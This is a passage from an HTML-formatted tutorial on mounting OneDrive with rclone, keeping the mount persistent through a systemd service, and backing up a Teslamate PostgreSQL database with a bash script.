&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat ~/.config/rclone/rclone.conf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To test the configuration, you can run the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rclone ls onedrive:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This should list the files and directories in your OneDrive account. If you see the list of files, the configuration is successful. If you encounter any errors, review the configuration and ensure the authentication details are correct. For example, the image below shows the successful configuration of the OneDrive remote:
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/cheking-rclone.jpg&#34; alt=&#34;Remote OneDrive folder listing&#34;/&gt;
        &lt;figcaption&gt;Remote OneDrive folder listing&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-12---mounting-remote-directory-with-rclone-file_folder&#34;&gt;Step 1.2 - Mounting Remote Directory with Rclone &amp;#x1f4c1;&lt;/h3&gt;
&lt;p&gt;Now that we have configured &lt;code&gt;rclone&lt;/code&gt; with OneDrive, we can mount the remote directory to a local directory in the system. This allows us to access the remote files as if they were local files. We cannot use a regular mount command, as the rclone mount command is not a real drive but is a FUSE-based mount. To mount the remote directory, use the following command.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rclone mount --config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/.config/rclone/rclone.conf --vfs-cache-mode full --allow-non-empty --allow-other --daemon --dir-perms &lt;span style=&#34;color:#f5a97f&#34;&gt;0777&lt;/span&gt; car_backup:car_data2 /home/amit/onedrive&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let&amp;rsquo;s break down the command:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the above command, replace &lt;code&gt;/home/amit/.config/rclone/rclone.conf&lt;/code&gt; with the path to your rclone configuration file.&lt;/li&gt;
&lt;li&gt;Replace &lt;code&gt;car_backup:car_data2&lt;/code&gt; with the remote name (configured in Sep 3) and the directory you want to mount.&lt;/li&gt;
&lt;li&gt;The local directory &lt;code&gt;/home/amit/onedrive&lt;/code&gt; is where the remote directory will be mounted (you might need to create a new folder for this). You can choose any local directory for this purpose.&lt;/li&gt;
&lt;li&gt;In the above command, the &lt;code&gt;--daemon&lt;/code&gt; flag runs the mount in the background, and the &lt;code&gt;--dir-perms 0777&lt;/code&gt; flag sets the directory permissions.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;--allow-non-empty&lt;/code&gt; flag allows mounting over a non-empty directory.&lt;/li&gt;
&lt;li&gt;And finally, the &lt;code&gt;--allow-other&lt;/code&gt; flag allows other users to access the mounted directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once the command is executed, you should see the remote directory mounted to the local directory. You can access the files in the remote directory as local files. For example, you can list the files in the mounted directory using the &lt;code&gt;ls&lt;/code&gt; command, as shown in the image below:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/listing-mounted-drive.jpg&#34; alt=&#34;Listing mounted OneDrive directory&#34;/&gt;
        &lt;figcaption&gt;Listing mounted OneDrive directory&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-13---persistent-mounting-with-rclone-&#34;&gt;Step 1.3 - Persistent Mounting with Rclone 💾&lt;/h3&gt;
&lt;p&gt;It is important to note that the &lt;code&gt;rclone mount&lt;/code&gt; command is not persistent across reboots. So, if your VM reboots for some reason, you will lose this. To make the mount persistent, you can add the command to the system&amp;rsquo;s startup scripts or use a tool like &lt;code&gt;systemd&lt;/code&gt; to manage the mount as a service. We will create a &lt;code&gt;systemd&lt;/code&gt; service file to manage the mount for this.&lt;/p&gt;
&lt;p&gt;To do this, create a new service file using the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano /etc/systemd/system/rclonemount.service&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Add the following content to the file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;Unit&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;Description&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;rclonemount
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;AssertPathIsDirectory&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/onedrive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;After&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;network-online.target
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;Wants&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;network-online.target
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;Service&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;Type&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;simple
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;User&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;amit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;Group&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;amit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;ExecStartPre&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/bin/sleep &lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;ExecStartPre&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/bin/mkdir -p /home/amit/onedrive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;ExecStartPre&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/bin/chmod &lt;span style=&#34;color:#f5a97f&#34;&gt;777&lt;/span&gt; /home/amit/onedrive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;ExecStart&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/usr/bin/rclone mount &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;        --config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/.config/rclone/rclone.conf &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;        --vfs-cache-mode full &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;        --allow-other &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;        --dir-perms &lt;span style=&#34;color:#f5a97f&#34;&gt;0777&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;        car_backup:/car_data2 /home/amit/onedrive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;ExecStop&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/bin/fusermount -uz /home/amit/onedrive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;Restart&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;always
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;RestartSec&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;Environment&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;HOME&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;Environment&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;USER&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;amit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;Install&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;WantedBy&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;default.target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In the above service file, the &lt;code&gt;ExecStartPre`` commands create the directory and set the permissions before mounting the remote directory. The &lt;/code&gt;ExecStart&lt;code&gt;command mounts the remote directory to the local directory. The&lt;/code&gt;ExecStop&lt;code&gt;command unmounts the directory when the service is stopped. The&lt;/code&gt;Restart&lt;code&gt;and&lt;/code&gt;RestartSec` settings ensure the service is restarted in case of failure.&lt;/p&gt;
&lt;p&gt;The image below shows the contents of the &lt;code&gt;rclonemount.service&lt;/code&gt; file in my system:
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/rclonemoun.service.jpg&#34; alt=&#34;rclonemount.service contents&#34;/&gt;
        &lt;figcaption&gt;rclonemount.service contents&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;After creating the service file, reload the systemd daemon and start the service using the following commands:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl daemon-reload&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To test the service, start it using the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl start rclonemount&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And check the status of the service to ensure it is running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl status rclonemount&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If everything is working correctly, you should see the status of the service as &lt;code&gt;active (running)&lt;/code&gt;, as shown in the image below:
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/rclonemoun.service-status.jpg&#34; alt=&#34;rclonemount service status&#34;/&gt;
        &lt;figcaption&gt;rclonemount service status&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Note: Press Q to quit.&lt;/p&gt;
&lt;p&gt;And finally, if the service is running without any errors, enable it to start at boot:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl &lt;span style=&#34;color:#91d7e3&#34;&gt;enable&lt;/span&gt; rclonemount&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Of course, the service can be tested by rebooting the system and checking if the remote directory is mounted automatically.&lt;/p&gt;
&lt;p&gt;Yay! Congratulations! You have successfully configured &lt;code&gt;rclone&lt;/code&gt; to mount the remote directory as a service. The remote directory will now be mounted automatically on system startup. 👍&lt;/p&gt;
&lt;h3 id=&#34;step-2---basic-backup-script-hammer_and_wrench&#34;&gt;Step 2 - Basic Backup Script &amp;#x1f6e0;&amp;#xfe0f;&lt;/h3&gt;
&lt;p&gt;Now that we have &lt;code&gt;rclone&lt;/code&gt; set up and mounted, we can create a basic backup script to back up the Teslamate data to OneDrive. The script will perform the following steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Back up the Teslamate database.&lt;/li&gt;
&lt;li&gt;Compress the backed-up file.&lt;/li&gt;
&lt;li&gt;Move the compressed file to the remote backup directory using &lt;code&gt;rclone&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The will be a simple bash script that can be run manually or scheduled using a cron job. Here&amp;rsquo;s an example of the basic backup script. Create a new file named &lt;code&gt;backup.sh&lt;/code&gt; and add the following content to it:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Basic backup script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;SOURCEDIR&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/teslamate &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Source directory where the data is located&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;BACKUPDIR&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/onedrive &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remote directory mounted via rclone&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;FILENAME&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;teslamate-&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;date +%Y-%m-%d-%H%M%S&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;.bak.gz &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Date-time stamp filename&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Perform the database dump and compress it&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker compose &lt;span style=&#34;color:#91d7e3&#34;&gt;exec&lt;/span&gt; -T database pg_dump -U teslamate teslamate | gzip &amp;gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FILENAME&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Move the compressed file to the remote backup directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rclone move &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FILENAME&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$BACKUPDIR&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You will need to replace the &lt;code&gt;SOURCEDIR&lt;/code&gt; and &lt;code&gt;BACKUPDIR&lt;/code&gt; with the actual directories on your system. The &lt;code&gt;FILENAME&lt;/code&gt; variable creates a unique filename for the backup file using the current date and time. The script uses &lt;code&gt;pg_dump&lt;/code&gt; to back up the Teslamate database and &lt;code&gt;rclone move&lt;/code&gt; to move the compressed file to the remote directory.&lt;/p&gt;
&lt;p&gt;This script assumes the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You have Teslamate running in a docker container, and the database is named &lt;code&gt;teslamate&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;You have &lt;code&gt;rclone&lt;/code&gt; configured with OneDrive and mounted the remote directory to a local directory.&lt;/li&gt;
&lt;li&gt;You have the necessary permissions to access the source and destination directories.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Make the script executable:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod +x /home/amit/backup.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Run the script manually to test it:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/amit/backup.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You should see the backup file in the remote directory if the script runs successfully. You can check the remote directory using the ls command or by navigating to it.&lt;/p&gt;
&lt;h2 id=&#34;step-3---adding-logging-&#34;&gt;Step 3 - Adding Logging 🗒️&lt;/h2&gt;
&lt;p&gt;To make the script more informative, let&amp;rsquo;s add logging. This will help us keep track of the backup process and identify any issues. We will use the same script as above as our starting point and add logging to it. We will log messages to a log file and display them on the console. Here&amp;rsquo;s the updated script with logging:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Backup script with logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;SOURCEDIR&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/teslamate &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Source directory where the data is located&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;BACKUPDIR&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/onedrive &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remote directory mounted via rclone&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;FILENAME&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;teslamate-&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;date +%Y-%m-%d-%H%M%S&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;.bak.gz &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Date-time stamp filename&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;LOGFILE&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/backup.log
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
